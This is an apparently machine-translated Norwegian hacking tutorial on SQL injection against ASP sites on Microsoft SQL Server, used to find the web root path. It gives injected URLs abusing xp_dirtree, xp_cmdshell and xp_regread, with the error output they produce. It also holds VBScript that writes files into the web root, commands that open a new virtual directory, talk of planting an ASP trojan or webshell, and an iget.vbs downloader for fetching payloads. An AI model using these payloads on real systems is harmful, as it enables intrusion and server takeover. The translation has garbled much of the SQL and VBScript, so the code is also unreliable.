SQL-injeksjon for å hente hele nettsidestien
Hvis nettsiden bare har 80 porter, vil følgende metoder være mer nyttige
Nesten alle metodene som brukes i den er ikke som jeg oppdaget, og artikkelen inkluderer alltid noen personlige erfaringer og ferdigheter når man injiserer
Det finnes 4 metoder (nå kjent)
Første metode:
Dette er <怪异的SQL注入>metoden som ble introdusert i < >
Ved å bruke xp_dirtree av sqlserver, la oss først snakke om metoden, og deretter om dens fordeler og ulemper (noen tillegg er gjort basert på originalteksten)
Opprett tabeller
Uttalelse:http://www.xxxxx.com/down/list.asp?id=1;create tabell-dirs(Paths Varchar(1000))--
Tilbake: Normal informasjon! Det betyr at tabellen er vellykket opprettet! Fortsett!
(Den som ble bygget er litt større enn originalen, fordi jeg har støtt på en fil med et langt navn, og slettet id-en fordi den er ubrukelig)
Uttalelse:http://www.xxxxx.com/down/list.asp?id=1;insert Dirs Executive master.dbo.xp_dirtree 'C:\' --
Returer: Normal informasjon. Det betyr at alle kataloger skrevet til C-stasjonen er vellykkede! Kult! Neste steg er å skaffe måleren! Bryt den og kom ut. (Det virker som det bare finnes én måte å gjøre dette på)
Uttalelse:http://www.xxxxx.com/down/list.asp?id=1 og 0<> (velg topp 1-veier fra dir)-
Returnerer: Microsoft OLE DB Provider for SQL Server feil 80040e07
Syntaksfeil oppstår når varchar-verdien '@Inetpub' konverteres til en kolonne med datatypen int.
Deretter blir katalognavnene i tabellen burstet ut etter tur!
Uttalelse:http:// http://www.xxxxx.com/down/list.asp?id=1 og 0<>(velg topp 1-baner fra
Di'er hvor stier ikke er i( '@Inetpub'))--
Returnerer: Microsoft OLE DB Provider for SQL Server feil 80040e07
Syntaksfeil oppstod ved konvertering av varchar-verdien 'test' til en kolonne med datatypen int.
Deretter blir katalognavnene i tabellen burstet ut etter tur!
Ok, la oss fortsette
Uttalelse:http:// http://www.xxxxx.com/down/list.asp?id=1 og 0<>(velg topp 1-baner fra
Di'er hvor stier ikke er i( '@Inetpub','test'))--
Returnerer: Microsoft OLE DB Provider for SQL Server feil 80040e07
Syntaksfeil oppstår når varchar-verdien 'haha' konverteres til en kolonne med datatypen int.
Deretter blir katalognavnene i tabellen burstet ut etter tur!
Ok, du burde vite hvordan du gjør det, haha, bare legg til navnet på tabellen du får i parentesen, skriv så mange du vil,
Et lite triks:
Noen ganger vil du oppdage at når inngangen er lik
http://www.xxxxx.com/down/list.asp?id=1 og 0<> (velg topp 1-veier fra dir)-
I stedet for å vise en feilmelding, vises nettsiden normalt
Dizzy, ikke vær nervøs
Se på 0<> (velg de øverste 1-stiene fra dir) for å vise at returen er et tall,
Haha, test det ut og se hvor mye det koster
100> (velg topp 1-veier fra dirs)
Tilbake til normalen
Haha, du kan raskt gjette med denne metoden på mer enn eller mindre
Ok, la oss fortsette
For eksempel, når den dukker opp
59=(velg topp 1 stier fra dir)
Gå tilbake til normalen,
OK, navnet er 59
Skriv inn som følger
http:// http://www.xxxxx.com/down/list.asp?id=1 og 0<>(velg topp 1-baner fra
Di'er hvor stier ikke er i('59'))--
Husk å sette anførselstegn
Følgende metode er den samme som den opprinnelige
Det er også et problem
Noen ganger når jeg skriver inn 59 med metoden over, oppdager jeg at neste mappe fortsatt er 59
Hva er det som foregår?
Hehe, jeg vet ikke om du har lagt merke til at 059 og 59 er like?
Det er derfor, haha,
http:// http://www.xxxxx.com/down/list.asp?id=1 og 0<>(velg topp 1-baner fra
Dirs hvor stier ikke er i( '059'))--
Jeg oppdaget at navnet på neste mappe vises, ok
Analyse av fordeler og ulemper:
Fordelen er at alle sqlserver-brukere kan bruke det, fordi xp_dirtree anvender tillatelsen PUBLIC,
Ulempen er at den viser navnene på alle mappene i katalogen, og ordningen virker ikke å være i noen rekkefølge, kort sagt er det vanskelig å finne mappen du vil ha i tusenvis eller titusenvis av mapper.
Og du vet at det å ha den mappen ikke garantert er i rotkatalogen, noe som er veldig smertefullt, ofte avhenger det av flaks og utholdenhet.
Jeg ønsker deg lykke til
Metode 2:
Bruk xp_cmdshell
Haha, alle må være kjent med dette, la meg si det kort
Opprett tabeller
Uttalelse:http://www.xxxxx.com/down/list.asp?id=1;create tabell-dirs(Paths Varchar(1000))--
Tilbake: Normal informasjon! Det betyr at tabellen er vellykket opprettet! Fortsett!
(Den som ble bygget er litt større enn originalen, fordi jeg har støtt på en fil med et langt navn, og slettet den id-en fordi den er ubrukelig.)
Uttalelse:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Returer: Normal informasjon. Det betyr at alle kataloger skrevet til C-stasjonen er vellykkede! dir c:\ /B/D brukes her, haha, hvis du ikke vet hva /B/D gjør, prøv å se hva det gjør
Uttalelse:http://www.xxxxx.com/down/list.asp?id=1 og 0<> (velg topp 1-veier fra dir)-
Returnerer: Microsoft OLE DB Provider for SQL Server feil 80040e07
Syntaksfeil oppstår når varchar-verdien '@Inetpub' konverteres til en kolonne med datatypen int.
Deretter blir katalognavnene i tabellen burstet ut etter tur!
Uttalelse:http:// http://www.xxxxx.com/down/list.asp?id=1 og 0<>(velg topp 1-baner fra
Di'er hvor stier ikke er i( '@Inetpub'))--
Returnerer: Microsoft OLE DB Provider for SQL Server feil 80040e07
Syntaksfeil oppstod ved konvertering av varchar-verdien 'test' til en kolonne med datatypen int.
Deretter blir katalognavnene i tabellen burstet ut etter tur!
Metoden er den samme som ovenfor, så jeg skal ikke snakke mer om det
Noen ganger kan vi også gjøre noe med følgende to utvidelser
1) Vi kan utnytte xp_availablemedia for å få alle nåværende disker og lagre dem i dirs-tabellen:
5 ; sett inn dirs executive master.dbo.xp_availablemedia; --
Vi kan få listen over disker og relatert informasjon ved å spørre innholdet i temp
(2) Vi kan bruke xp_subdirs til å hente listen over underkataloger og lagre dem i dirs-tabellen:
5 ; sett inn i dirs executive master.dbo.xp_subdirs 'c:\' ; --
Analyse av fordeler og ulemper:
Dette vil åpenbart ikke xp_dirtree situasjonen der alle katalogene er samlet, kun katalogen på første nivå vises, som er mye lettere å finne.
Ulempene er også åpenbare, bare SA har denne tillatelsen, og det er også mulig at administratoren slettet denne utvidelsen (tross alt er den for kraftig).
Metode 3:
Denne tilnærmingen er god
Følgende er originalteksten
Tenkte å bruke adsutil.vbs-programmet, som jeg kjørte
a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Er den ikke lang? Gjennom den kan vi sette opp den første virtuelle nettsiden i IIS (inkludert selve katalogen der den ligger, selvfølgelig)
Importer til a.txt
Standard for den faktiske plasseringen av a.txt er selvfølgelig c:\winnt\system32, noe som egentlig ikke er et problem, men når man møter en administrator som setter adsutil.vbs
Slett eller legg det et annet sted
Vi kan ikke gjøre noe med det (du kan ikke skrive en med echo-kommandoen selv)
Trinn 2: Bruk echo-kommandoen for å skrive følgende kode inn i c:\, som ikke er mye
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set FSO1=createobject("scripting.filesystemobject"
Sett WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("prosess"("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
gjør uten fil.atendofstream
nr=fil.readline
hvis venstre(nr,4)="Sti" så
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
Slutt hvis
Loop
Set fil1 =FSO1.OpenTextFile(PA &"\dd.asp",2,True)
fil1.writeline ""
---------------kutt her-------------------------------------
Trinn 3: Selvfølgelig er det å kjøre read.vbs, slik at vi kan lese innholdet i aa.txt og finne den faktiske stien til nettsiden
Skriv deretter en fil kalt dd.asp i rotkatalogen til nettsiden, så vil du vite om du kan prøve det med suksess
henrettehttp://x.x.x.x/dd.asp
Returer: \xxx
Haha, det er en god måte,
Originalteksten ser imidlertid ut til å ha noen problemer
Det er det
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Feil oppstår når to setninger sendes inn
Så vi kom opp med plusstegnet, som har samme funksjon som &
Og hva skal man skrive om dd.asp? Skriv til pa, haha
Haha, jeg endret det
-------------------read.vbs---------------------------------
set FSO1=createobject("scripting.filesystemobject"
Sett WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("prosess"("windir")
Set fil =FSO1.OpenTextFile(spa "\system32\aa.txt"
gjør uten fil.atendofstream
nr=fil.readline
hvis venstre(nr,4)="Sti" så
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
Slutt hvis
Loop
Set fil1 =FSO1.OpenTextFile(PA "\dd.asp",2,true)
fil1.writeline pa
---------------kutt her--------------------------------------
Siden tidsnummeret konverteres til et mellomrom når du sender inn i en nettleser, bør du også sette
Det blir 2 % milliarder, ok, det skal gå fint, som følger
-------------------read.vbs---------------------------------
set FSO1=createobject("scripting.filesystemobject"
Sett WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("prosess"("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
gjør uten fil.atendofstream
nr=fil.readline
hvis venstre(nr,4)="Sti" så
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
Slutt hvis
Loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------kutt her--------------------------------------
Hvis vi finner at 1 ikke er der, kan vi bli 2, 3, 4...........
a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Men denne metoden kan bare brukes under Windows 2000, fordi adressene til nyopprettede nettsteder under 2003 ikke er ordnet etter 1234, det ser ut til å være tilfeldig generert, og jeg har sammenlignet flere under 2003
adresse, ingen regelmessigheter ble funnet.
Analyse av fordeler og ulemper:
Det samme gjelder xp_cmdshell Ikke alle brukere kan bruke det! Et annet problem er at adsutil-filen ikke nødvendigvis eksisterer, eller ikke nødvendigvis er i den stien, selv om du kan bruke den hvis du ønsker det
Echo skriver ett (haha, gammelt og gammelt), og et annet spørsmål er, hva om det finnes mange nettsteder på verten? Jeg har møtt en vert med ni nettsteder, og bare den åttende er nyttig
Ja, svakt, det er vanskelig for noen å ha tålmodighet til å holde ut så mye, kanskje det har kollapset for lenge siden. Dessuten kan den ikke brukes i 2003!
Men for å være ærlig, er denne metoden faktisk en god metode
Metode 4:
Denne metoden er å lese stien fra registeret gjennom xp_regread osv
Følgende anbefales for å hente nettsidestien (les registeret gjennom lagrede prosedyrer):
Bruk den innebygde lagrede prosedyren xp_regread (lese registernøkkel, tillatelse offentlig):
Uttalelse: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarer@test
Varchar(20) administrerende mester.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT sett inn i stier
(sti) verdier(@test)
IIS standardsti i registeret HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Bruk burst-feltet for å lese opp verdien av databasen:
Setning: http://www.xxx.com/list.asp?classid=1 og 0<>(velg topp 1 stier fra newtable)--returner: Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] konverterer varchar-verdien E:\www,,201 til en datatype int
kolonne.
Dette betyr at nettsidekatalogen er i E:\www, og du kan også bruke FSO for å skrive direkte til ASP-trojaneren
Hva om du ikke får tak i en nettkatalog? Du må gjette om nettstedet bruker standard WEB eller domenenavnet som WEB.
erklære @o int executive sp_oacreate wscript.shell, @o out exec sp_oamethod @o, kjør, NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'
Opprett en virtuell katalog E under standard WEB-nettstedet, og pek på E: under disk.
erklære @o int executive sp_oacreate wscript.shell, @o out exec sp_oamethod @o, kjør, NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'
Det er lurt å legge til nettleserattributter i den virtuelle katalogen, f.eks. Åpne en virtuell tjeneste for deg selv. Når jeg tenker på de nettsidenes katalogstier, er hodet mitt nesten knust. Nå åpnet jeg øynene. Det er WEBSHELL-en som bruker MS
SQL er slutten på arbeidet vårt, og neste jobb bør være din.
Haha, metoden er bra, les gjennom registreringsskjemaet, praktisk og raskt!
Analyse av fordeler og ulemper:
Fordelen er selvfølgelig at det er praktisk og raskt. Ulempen er at du bare kan se stien til standard IIS-nettstedet, og hvis det ikke lenger er standardstedet, er det ingenting du kan gjøre (jeg sporet det med regsnape), hvis det er under 2003
Det vil si, selv standard nettsidesti vises! I smerte
Forresten, det finnes faktisk andre måter å fortsette inntrengingen på enn å finne nettsideruten, som å laste opp bounce-trojaneren via tftp, eller skrive en iget.vbs for å laste ned den dongdongen du ønsker.
iget.vbs-koden er som følger:
---------start----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------slutt-----------
Supplement til denne artikkelen:
Nylig oppdaget jeg at min forståelse av formann Maos instruksjoner ikke var dyp nok, og jeg vil gjerne legge til her
Faktisk trenger ikke de ovennevnte metodene å sammenlignes i det hele tatt, xp_dirtree de er de beste, så lenge denne ene metoden er tilstrekkelig
Det er bare fordi jeg var for ..............
I dag skal jeg grave opp hemmeligheten bak xp_dirtree igjen
Ok, la oss være executive master: xp_dirtree'd:/test'
La oss si at vi har to mapper i test, test1 og test2, og test3 i test1
Resultatene viser
Dybde i underkatalog
test1 1
test3 2
test2 1
Haha, jeg fant ut at det ikke finnes noen dybde som er serien i katalogen
Ok, vit hva du skal gjøre
http://www.xxxxx.com/down/list.asp?id=1;create Tabell dir(Paths Varchar(1000), ID int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Dirs Executive master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1 og 0<>(velg topp 1-stier fra dir-filer hvor id=1)-
Så lenge id=1 legges til, er det første nivå-katalogen.
|